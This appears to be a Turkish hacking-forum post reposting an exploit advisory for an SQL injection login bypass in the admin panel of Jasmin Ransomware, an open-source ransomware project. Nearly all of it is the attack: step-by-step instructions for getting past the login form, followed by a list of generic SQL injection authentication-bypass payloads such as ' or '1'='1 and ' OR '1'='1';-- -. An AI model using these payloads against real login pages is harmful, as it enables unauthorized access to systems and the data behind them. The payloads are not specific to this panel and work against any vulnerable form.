Hoşgeldin Misafir

Jasmin Ransomware SQL Injection / Authenticaton Bypass Vulnerability

greenbone

4 Eyl 2022
2,020 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
# Exploit Title: Jasmin Ransomware SQL Injection Login Bypass
# Exploit Author: Buğra Enis Dönmez (n3c1)
# Vendor Homepage: https://github.com/codesiddhant/Jasmin-Ransomware
# Software Link: https://github.com/codesiddhant/Jasmin-Ransomware
# Version: N/A
# Tested on: Windows
 
How to exploit :
 
--> Open Admin Panel Through : http://localhost/login.php
 
--> Enter the SQL Injection Auth Bypass Payload to Email like : '=' 'or'
 
--> And to Access Code, Enter the same SQL Injection Authentication Bypass
Payload : '=' 'or'
 
--> Press Authorize
 
--> Congratz, you're in
 
--> SQL Injection Authentication Bypass Payload : '=' 'or'
 
--> Payloads Can be use :
 
' or '1'='1
 
' or ''='
 
'=' 'or'
 
' OR '1'='1';-- -
 
' or 1 -- -
 
#  Turkhacks.com [2025-03-19]  #